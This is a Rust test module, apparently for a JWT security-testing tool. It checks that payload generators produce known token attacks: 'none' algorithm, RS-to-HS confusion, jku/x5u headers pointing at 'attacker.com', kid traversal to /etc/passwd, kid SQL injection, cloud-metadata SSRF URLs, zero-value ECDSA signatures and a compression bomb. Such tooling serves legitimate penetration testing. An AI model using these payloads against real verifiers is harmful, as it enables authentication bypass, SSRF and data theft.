    fn test_generate_all_payloads_with_url_attacks() {
        let result = generate_all_payloads(
            DUMMY_TOKEN,
            Some("victim.com"),
            Some("attacker.com"),
            "https",
            None,
        );
        assert!(
            result.is_ok(),
            "generate_all_payloads failed: {:?}",
            result.err()
        );
        let payloads = result.unwrap();

        // Make sure we get a substantial number of payloads including the new attack types
        assert!(payloads.len() > 11);

        assert!(
            payloads.iter().any(|p| {
                let header = get_header_from_token(p).unwrap();
                header.get("alg").unwrap().as_str().unwrap().to_lowercase() == "none"
            }),
            "No 'none' payloads found"
        );

        assert!(
            payloads.iter().any(|p| get_header_from_token(p)
                .unwrap()
                .as_object()
                .unwrap()
                .contains_key("jku")),
            "No JKU payloads found"
        );
        assert!(
            payloads.iter().any(|p| get_header_from_token(p)
                .unwrap()
                .as_object()
                .unwrap()
                .contains_key("x5u")),
            "No X5U payloads found"
        );

        // Check if at least one JKU payload has the trust domain bypass
        assert!(
            payloads.iter().any(|p| {
                let header_val = get_header_from_token(p).unwrap();
                let header = header_val.as_object().unwrap();
                header.contains_key("jku")
                    && header
                        .get("jku")
                        .unwrap()
                        .as_str()
                        .unwrap()
                        .contains("victim.com")
            }),
            "No JKU bypass payload with victim.com found"
        );

        // Check if at least one X5U payload has the trust domain bypass
        assert!(
            payloads.iter().any(|p| {
                let header_val = get_header_from_token(p).unwrap();
                let header = header_val.as_object().unwrap();
                header.contains_key("x5u")
                    && header
                        .get("x5u")
                        .unwrap()
                        .as_str()
                        .unwrap()
                        .contains("victim.com")
            }),
            "No X5U bypass payload with victim.com found"
        );
    }

    #[test]
    fn test_generate_all_payloads_with_target() {
        // Test with only 'none' target
        let result = generate_all_payloads(
            DUMMY_TOKEN,
            Some("victim.com"),
            Some("attacker.com"),
            "https",
            Some("none"),
        );
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert_eq!(
            payloads.len(),
            3,
            "Expected only 3 'none' algorithm payloads"
        );
        assert!(payloads.iter().all(|p| {
            let header = get_header_from_token(p).unwrap();
            header.get("alg").unwrap().as_str().unwrap().to_lowercase() == "none"
        }));

        // Test with only 'jku' target
        let result = generate_all_payloads(
            DUMMY_TOKEN,
            Some("victim.com"),
            Some("attacker.com"),
            "https",
            Some("jku"),
        );
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert_eq!(payloads.len(), 4, "Expected 4 JKU payloads");
        assert!(payloads.iter().all(|p| {
            let header = get_header_from_token(p).unwrap();
            header.as_object().unwrap().contains_key("jku")
        }));
        assert!(!payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.as_object().unwrap().contains_key("x5u")
        }));

        // Test with combined targets
        let result = generate_all_payloads(
            DUMMY_TOKEN,
            Some("victim.com"),
            Some("attacker.com"),
            "https",
            Some("none,x5u"),
        );
        assert!(result.is_ok());
        let payloads = result.unwrap();
        assert_eq!(
            payloads.len(),
            3 + 4,
            "Expected 3 'none' + 4 'x5u' payloads"
        );
        assert!(payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.get("alg").unwrap().as_str().unwrap().to_lowercase() == "none"
        }));
        assert!(payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.as_object().unwrap().contains_key("x5u")
        }));
        assert!(!payloads.iter().any(|p| {
            let header = get_header_from_token(p).unwrap();
            header.as_object().unwrap().contains_key("jku")
        }));

        // Test with new attack types
        let result = generate_all_payloads(
            DUMMY_TOKEN,
            None,
            None,
            "http",
            Some("alg_confusion,kid_sql"),
        );
        assert!(result.is_ok());
        let payloads = result.unwrap();

        // Check for alg_confusion payloads
        assert!(payloads.iter().any(|p| {
            if let Some(header) = get_header_from_token(p) {
                if let Some(alg) = header.get("alg") {
                    if let Some(alg_str) = alg.as_str() {
                        return alg_str.to_lowercase() == "hs256";
                    }
                }
            }
            false
        }));

        // Check for kid_sql payloads
        assert!(payloads.iter().any(|p| {
            if let Some(header) = get_header_from_token(p) {
                if let Some(kid) = header.get("kid") {
                    if let Some(kid_str) = kid.as_str() {
                        return kid_str.contains("'")
                            || kid_str.contains("UNION")
                            || kid_str.contains("--");
                    }
                }
            }
            false
        }));
    }

    #[test]
    fn test_generate_jwk_embed_payload_signature_verifies() {
        // Generate the payload, then use the embedded public key to verify the signature.
        let token = generate_jwk_embed_payload(DUMMY_TOKEN).expect("jwk_embed should succeed");
        let parts: Vec<&str> = token.split('.').collect();
        assert_eq!(parts.len(), 3, "expected 3-part token");

        let header = get_header_from_token(&token).expect("decode header");
        let jwk = header.get("jwk").expect("jwk header present");
        assert_eq!(jwk.get("kty").unwrap().as_str(), Some("RSA"));
        let n_b64 = jwk.get("n").unwrap().as_str().unwrap();
        let e_b64 = jwk.get("e").unwrap().as_str().unwrap();

        // Reconstruct the public key from the embedded n/e and verify the signature.
        use jsonwebtoken::{Algorithm, DecodingKey, Validation};
        let n_bytes = URL_SAFE_NO_PAD.decode(n_b64).unwrap();
        let e_bytes = URL_SAFE_NO_PAD.decode(e_b64).unwrap();
        let key = DecodingKey::from_rsa_raw_components(&n_bytes, &e_bytes);
        let mut validation = Validation::new(Algorithm::RS256);
        validation.validate_exp = false;
        validation.required_spec_claims.clear();
        // Use jsonwebtoken::decode to verify signature against the embedded key.
        let result = jsonwebtoken::decode::<serde_json::Value>(&token, &key, &validation);
        assert!(
            result.is_ok(),
            "signature should verify against the embedded jwk: {:?}",
            result.err()
        );
    }

    #[test]
    fn test_generate_kid_traversal_signed_with_empty_secret() {
        let payloads =
            generate_kid_traversal_payload(DUMMY_TOKEN).expect("kid_traversal should succeed");
        assert!(!payloads.is_empty());

        // Every payload should HS256-verify against an empty secret.
        for p in &payloads {
            let parts: Vec<&str> = p.split('.').collect();
            assert_eq!(parts.len(), 3, "kid_traversal payload must be 3-part");
            let signing_input = format!("{}.{}", parts[0], parts[1]);
            let expected = hmac_sha256::HMAC::mac(signing_input.as_bytes(), b"");
            let expected_b64 = URL_SAFE_NO_PAD.encode(expected.as_slice());
            assert_eq!(
                parts[2], expected_b64,
                "HS256 signature with empty secret must match for payload {p}"
            );
        }

        // /dev/null and /etc/passwd patterns must be represented.
        let kids: Vec<String> = payloads
            .iter()
            .filter_map(|p| {
                get_header_from_token(p)
                    .and_then(|h| h.get("kid").and_then(|v| v.as_str().map(String::from)))
            })
            .collect();
        assert!(kids.iter().any(|k| k == "/dev/null"));
        assert!(kids.iter().any(|k| k.contains("etc/passwd")));
    }

    #[test]
    fn test_generate_alg_confusion_picks_matching_hmac_family() {
        // Build a synthetic source token per alg, check the downgrade target.
        for (source, expected) in [
            ("RS256", "HS256"),
            ("RS384", "HS384"),
            ("RS512", "HS512"),
            ("PS384", "HS384"),
            ("ES512", "HS512"),
            ("EdDSA", "HS256"),
        ] {
            let header = json!({ "alg": source, "typ": "JWT" });
            let header_b64 =
                URL_SAFE_NO_PAD.encode(serde_json::to_string(&header).unwrap().as_bytes());
            let token = format!("{}.eyJzdWIiOiJ4In0.sig", header_b64);
            let payloads = generate_alg_confusion_payload(&token, None).unwrap();
            // First payload is the HMAC downgrade, second is `none`.
            assert!(payloads.len() >= 2);
            let hmac_hdr = get_header_from_token(&payloads[0]).expect("hmac header should decode");
            assert_eq!(
                hmac_hdr.get("alg").unwrap().as_str(),
                Some(expected),
                "{} should downgrade to {}",
                source,
                expected
            );
            let none_hdr = get_header_from_token(&payloads[1]).expect("none header should decode");
            assert_eq!(none_hdr.get("alg").unwrap().as_str(), Some("none"));
        }
    }

    #[test]
    fn test_generate_alg_confusion_with_public_key_produces_signed_hs256() {
        // Provide arbitrary "public key" bytes; HS256 token must verify with those bytes.
        let pem = "-----BEGIN PUBLIC KEY-----\nFAKE\n-----END PUBLIC KEY-----\n";
        let payloads = generate_alg_confusion_payload(DUMMY_TOKEN, Some(pem)).unwrap();
        let signed = &payloads[0]; // HS256 downgrade
        let parts: Vec<&str> = signed.split('.').collect();
        assert_eq!(parts.len(), 3);
        let input = format!("{}.{}", parts[0], parts[1]);
        let expected = hmac_sha256::HMAC::mac(input.as_bytes(), pem.as_bytes());
        let expected_b64 = URL_SAFE_NO_PAD.encode(expected.as_slice());
        assert_eq!(parts[2], expected_b64);
    }

    #[test]
    fn test_generate_empty_sig_payload_variants() {
        let payloads = generate_empty_sig_payload(DUMMY_TOKEN).expect("ok");
        assert_eq!(payloads.len(), 3);
        assert!(payloads.iter().any(|p| p.ends_with('.')));
        assert!(payloads.iter().any(|p| p.ends_with(".null")));
        // The no-trailing-dot variant has 2 dots only? No — it's 1 dot, header.payload.
        assert!(payloads.iter().any(|p| p.matches('.').count() == 1));
    }

    #[test]
    fn test_generate_crit_and_b64_payloads_emit_expected_headers() {
        let crit = generate_crit_payload(DUMMY_TOKEN).expect("crit ok");
        assert!(crit.iter().all(|p| {
            get_header_from_token(p)
                .and_then(|h| h.get("crit").cloned())
                .is_some()
        }));

        let b64 = generate_b64_payload(DUMMY_TOKEN).expect("b64 ok");
        assert!(b64.iter().all(|p| {
            get_header_from_token(p).and_then(|h| h.get("b64").and_then(|v| v.as_bool()))
                == Some(false)
        }));
    }

    #[test]
    fn test_generate_psychic_signature_zero_sigs() {
        let payloads = generate_psychic_signature_payload(DUMMY_TOKEN).expect("psychic ok");
        assert_eq!(payloads.len(), 3);

        let expected_lens = [("ES256", 64usize), ("ES384", 96), ("ES512", 132)];
        for (p, (alg, len)) in payloads.iter().zip(expected_lens.iter()) {
            let parts: Vec<&str> = p.split('.').collect();
            assert_eq!(parts.len(), 3);
            let header = get_header_from_token(p).unwrap();
            assert_eq!(header.get("alg").unwrap().as_str(), Some(*alg));
            let sig = URL_SAFE_NO_PAD.decode(parts[2]).unwrap();
            assert_eq!(sig.len(), *len);
            assert!(sig.iter().all(|b| *b == 0));
        }
    }

    #[test]
    fn test_generate_typ_confusion_variants() {
        let payloads = generate_typ_confusion_payload(DUMMY_TOKEN).expect("typ ok");
        // At least the documented variants are present.
        let typ_values: Vec<Option<String>> = payloads
            .iter()
            .map(|p| {
                get_header_from_token(p)
                    .and_then(|h| h.get("typ").and_then(|v| v.as_str().map(String::from)))
            })
            .collect();
        assert!(typ_values.contains(&Some("at+jwt".to_string())));
        assert!(typ_values.contains(&Some("JOSE".to_string())));
        assert!(typ_values.contains(&None), "one variant must omit typ");
    }

    #[test]
    fn test_generate_alg_edge_variants() {
        let payloads = generate_alg_edge_payload(DUMMY_TOKEN).expect("alg edge ok");
        // Empty string, null, and an array variant must each appear.
        let algs: Vec<serde_json::Value> = payloads
            .iter()
            .filter_map(|p| get_header_from_token(p).and_then(|h| h.get("alg").cloned()))
            .collect();
        assert!(algs
            .iter()
            .any(|v| v == &serde_json::Value::String(String::new())));
        assert!(algs.iter().any(|v| v == &serde_json::Value::Null));
        assert!(algs.iter().any(|v| v.is_array()));
    }

    #[test]
    fn test_generate_jku_x5u_ssrf_emits_both_keys_and_imds() {
        let payloads = generate_jku_x5u_ssrf_payload(DUMMY_TOKEN).expect("ssrf ok");
        let mut saw_jku_imds = false;
        let mut saw_x5u_imds = false;
        for p in &payloads {
            let h = get_header_from_token(p).unwrap();
            if let Some(u) = h.get("jku").and_then(|v| v.as_str()) {
                if u.contains("169.254.169.254") {
                    saw_jku_imds = true;
                }
            }
            if let Some(u) = h.get("x5u").and_then(|v| v.as_str()) {
                if u.contains("169.254.169.254") {
                    saw_x5u_imds = true;
                }
            }
        }
        assert!(saw_jku_imds, "expected jku payload with IMDS URL");
        assert!(saw_x5u_imds, "expected x5u payload with IMDS URL");
    }

    #[test]
    fn test_generate_zip_payload_bomb_decompresses_large() {
        let payloads = generate_zip_payload(DUMMY_TOKEN).expect("zip ok");
        // The bomb variant should have zip=DEF and a small encoded claims part
        // that decompresses to substantially more bytes than the raw segment.
        let bomb = payloads
            .iter()
            .find(|p| {
                let h = get_header_from_token(p).unwrap();
                h.get("zip").and_then(|v| v.as_str()) == Some("DEF")
            })
            .expect("bomb variant present");
        let parts: Vec<&str> = bomb.split('.').collect();
        let claims_compressed = URL_SAFE_NO_PAD.decode(parts[1]).unwrap();
        let decompressed =
            crate::utils::compression::decompress_deflate(&claims_compressed).unwrap();
        assert!(
            decompressed.len() > claims_compressed.len() * 50,
            "bomb should expand >50x: compressed={}, decompressed={}",
            claims_compressed.len(),
            decompressed.len()
        );
    }

    #[test]
    fn test_generate_kid_predictable_signs_with_provided_secret() {
        let secret = b"body{color:red}";
        let payloads =
            generate_kid_predictable_payload(DUMMY_TOKEN, Some(secret)).expect("kid pred ok");
        assert!(!payloads.is_empty());
        for p in &payloads {
            let parts: Vec<&str> = p.split('.').collect();
            assert_eq!(parts.len(), 3);
            let input = format!("{}.{}", parts[0], parts[1]);
            let expected = hmac_sha256::HMAC::mac(input.as_bytes(), secret);
            let expected_b64 = URL_SAFE_NO_PAD.encode(expected.as_slice());
            assert_eq!(parts[2], expected_b64);
        }
    }

    #[test]
    fn test_generate_duplicate_key_payload_has_two_alg_in_raw_header() {
        let payloads = generate_duplicate_key_payload(DUMMY_TOKEN).expect("dup ok");
        assert!(!payloads.is_empty());
        let mut saw_dup_alg = false;
        for p in &payloads {
            let header_b64 = p.split('.').next().unwrap();
            let raw = URL_SAFE_NO_PAD.decode(header_b64).unwrap();
            let raw_str = String::from_utf8_lossy(&raw);
            let alg_occurrences = raw_str.matches("\"alg\"").count();
            if alg_occurrences >= 2 {
                saw_dup_alg = true;
                break;
            }
        }
        assert!(
            saw_dup_alg,
            "expected at least one header with duplicate alg keys"
        );
    }

    #[test]
    fn test_generate_nested_jwt_payload_inner_is_jwt() {
        let payloads = generate_nested_jwt_payload(DUMMY_TOKEN).expect("nested ok");
        assert!(!payloads.is_empty());
        for p in &payloads {
            let parts: Vec<&str> = p.split('.').collect();
            assert!(parts.len() >= 2);
            let header = get_header_from_token(p).unwrap();
            assert_eq!(header.get("cty").and_then(|v| v.as_str()), Some("JWT"));
            // The claims segment, when base64url-decoded, must itself be a JWT-shaped string.
            let inner = URL_SAFE_NO_PAD.decode(parts[1]).unwrap();
            let inner_str = String::from_utf8(inner).unwrap();
            assert!(
                inner_str.split('.').count() >= 2,
                "inner payload must look like a JWT, got {inner_str}"
            );
        }
    }

    #[test]
    fn test_generate_jwk_embed_ec_payload_signature_verifies() {
        use jsonwebtoken::{Algorithm, DecodingKey, Validation};
        let token = generate_jwk_embed_ec_payload(DUMMY_TOKEN).expect("ec embed ok");
        let parts: Vec<&str> = token.split('.').collect();
        assert_eq!(parts.len(), 3);

        let header = get_header_from_token(&token).expect("header");
        let jwk = header.get("jwk").expect("jwk present");
        assert_eq!(jwk.get("kty").and_then(|v| v.as_str()), Some("EC"));
        assert_eq!(jwk.get("crv").and_then(|v| v.as_str()), Some("P-256"));
        let x_b64 = jwk.get("x").unwrap().as_str().unwrap();
        let y_b64 = jwk.get("y").unwrap().as_str().unwrap();

        // Reconstruct DecodingKey from x/y components via jsonwebtoken's helper.
        let key = DecodingKey::from_ec_components(x_b64, y_b64).unwrap();
        let mut v = Validation::new(Algorithm::ES256);
        v.validate_exp = false;
        v.required_spec_claims.clear();
        let res = jsonwebtoken::decode::<serde_json::Value>(&token, &key, &v);
        assert!(
            res.is_ok(),
            "ES256 signature should verify: {:?}",
            res.err()
        );
    }

    #[test]
    fn test_generate_jws_json_payload_is_valid_json_with_required_fields() {
        let payloads = generate_jws_json_payload(DUMMY_TOKEN).expect("json ok");
        assert!(payloads.len() >= 2);
        for p in &payloads {
            let v: Value = serde_json::from_str(p).expect("must be valid JSON");
            let obj = v.as_object().expect("must be JSON object");
            assert!(obj.contains_key("protected"));
            assert!(obj.contains_key("payload"));
            assert!(obj.contains_key("signature"));
        }
    }

    #[test]
    fn test_generate_alg_family_swap_payload_keeps_signature() {
        let payloads = generate_alg_family_swap_payload(DUMMY_TOKEN).expect("swap ok");
        assert!(!payloads.is_empty());
        let original_sig = DUMMY_TOKEN.split('.').nth(2).unwrap();
        for p in &payloads {
            let sig = p.split('.').nth(2).unwrap();
            assert_eq!(sig, original_sig, "signature must be retained across swaps");
        }
        // Source HS256 → variants should still be HMAC family.
        let algs: Vec<String> = payloads
            .iter()
            .filter_map(|p| {
                get_header_from_token(p)
                    .and_then(|h| h.get("alg").and_then(|v| v.as_str().map(String::from)))
            })
            .collect();
        assert!(algs.iter().any(|a| a == "HS384" || a == "HS512"));
    }

    #[test]
    fn test_generate_alg_family_swap_preserves_original_header_fields() {
        // Token whose header carries kid + jku in addition to alg/typ.
        let header = json!({
            "alg": "RS256",
            "typ": "JWT",
            "kid": "real-key-2024",
            "jku": "https://example.com/.well-known/jwks.json",
        });
        let header_b64 = URL_SAFE_NO_PAD.encode(serde_json::to_string(&header).unwrap().as_bytes());
        let token = format!("{header_b64}.eyJzdWIiOiJ4In0.OrIginalSig");

        let payloads = generate_alg_family_swap_payload(&token).expect("swap ok");
        assert!(!payloads.is_empty());
        for p in &payloads {
            let h = get_header_from_token(p).expect("decodable header");
            // alg must have changed.
            assert_ne!(h.get("alg").and_then(|v| v.as_str()), Some("RS256"));
            // kid and jku must be preserved verbatim.
            assert_eq!(
                h.get("kid").and_then(|v| v.as_str()),
                Some("real-key-2024"),
                "kid must be preserved across alg swaps"
            );
            assert_eq!(
                h.get("jku").and_then(|v| v.as_str()),
                Some("https://example.com/.well-known/jwks.json"),
                "jku must be preserved across alg swaps"
            );
        }
    }

    #[test]
    fn test_generate_none_with_sig_payload_has_none_alg_and_nonempty_sig() {
        let payloads = generate_none_with_sig_payload(DUMMY_TOKEN).expect("none sig ok");
        assert!(!payloads.is_empty());
        for p in &payloads {
            let parts: Vec<&str> = p.split('.').collect();
            assert_eq!(parts.len(), 3);
            assert!(!parts[2].is_empty(), "signature segment must be non-empty");
            let alg = get_header_from_token(p)
                .and_then(|h| h.get("alg").and_then(|v| v.as_str().map(String::from)))
                .unwrap();
            assert!(
                alg.to_lowercase() == "none",
                "alg must be a 'none' variant, got {alg}"
            );
        }
    }

    #[test]
    fn test_generate_header_quirks_payload_has_bom_and_trailing_segment() {
        let payloads = generate_header_quirks_payload(DUMMY_TOKEN).expect("quirks ok");
        assert!(!payloads.is_empty());

        // At least one header decodes to bytes starting with UTF-8 BOM.
        let any_bom = payloads.iter().any(|p| {
            let h_b64 = p.split('.').next().unwrap();
            let raw = URL_SAFE_NO_PAD.decode(h_b64).unwrap_or_default();
            raw.starts_with(b"\xef\xbb\xbf")
        });
        assert!(any_bom, "expected at least one BOM-prefixed header");

        // At least one variant has a 4th segment.
        assert!(payloads.iter().any(|p| p.split('.').count() == 4));
    }

    #[test]
    fn test_generate_kid_wildcard_payload_includes_special_kids() {
        let payloads = generate_kid_wildcard_payload(DUMMY_TOKEN).expect("kid wc ok");
        assert!(!payloads.is_empty());

        let mut seen = std::collections::HashSet::new();
        for p in &payloads {
            if let Some(h) = get_header_from_token(p) {
                if let Some(kid) = h.get("kid") {
                    seen.insert(kid.clone());
                }
            }
        }
        assert!(seen.contains(&serde_json::Value::String(String::new())));
        assert!(seen.contains(&serde_json::Value::String("*".to_string())));
        assert!(seen.contains(&serde_json::Value::Null));
        // Every signed payload must HS256-verify against empty secret.
        for p in &payloads {
            let parts: Vec<&str> = p.split('.').collect();
            assert_eq!(parts.len(), 3);
            let input = format!("{}.{}", parts[0], parts[1]);
            let expected = hmac_sha256::HMAC::mac(input.as_bytes(), b"");
            let expected_b64 = URL_SAFE_NO_PAD.encode(expected.as_slice());
            assert_eq!(parts[2], expected_b64);
        }
    }

    #[test]
    fn test_generate_x5c_signed_payload_verifies_against_embedded_cert() {
        use jsonwebtoken::{Algorithm, DecodingKey, Validation};
        let token = generate_x5c_signed_payload(DUMMY_TOKEN).expect("x5c signed ok");
        let header = get_header_from_token(&token).expect("header");
        let x5c = header.get("x5c").unwrap().as_array().unwrap();
        let cert_b64 = x5c[0].as_str().unwrap();
        // x5c is standard base64, not URL-safe.
        let cert_der = base64::engine::general_purpose::STANDARD
            .decode(cert_b64)
            .unwrap();

        // Parse the cert with openssl and grab the public key as PEM.
        let cert = openssl::x509::X509::from_der(&cert_der).unwrap();
        let pubkey_pem = cert.public_key().unwrap().public_key_to_pem().unwrap();

        let key = DecodingKey::from_rsa_pem(&pubkey_pem).unwrap();
        let mut v = Validation::new(Algorithm::RS256);
        v.validate_exp = false;
        v.required_spec_claims.clear();
        let result = jsonwebtoken::decode::<serde_json::Value>(&token, &key, &v);
        assert!(
            result.is_ok(),
            "signature should verify with the embedded cert's key: {:?}",
            result.err()
        );
    }
}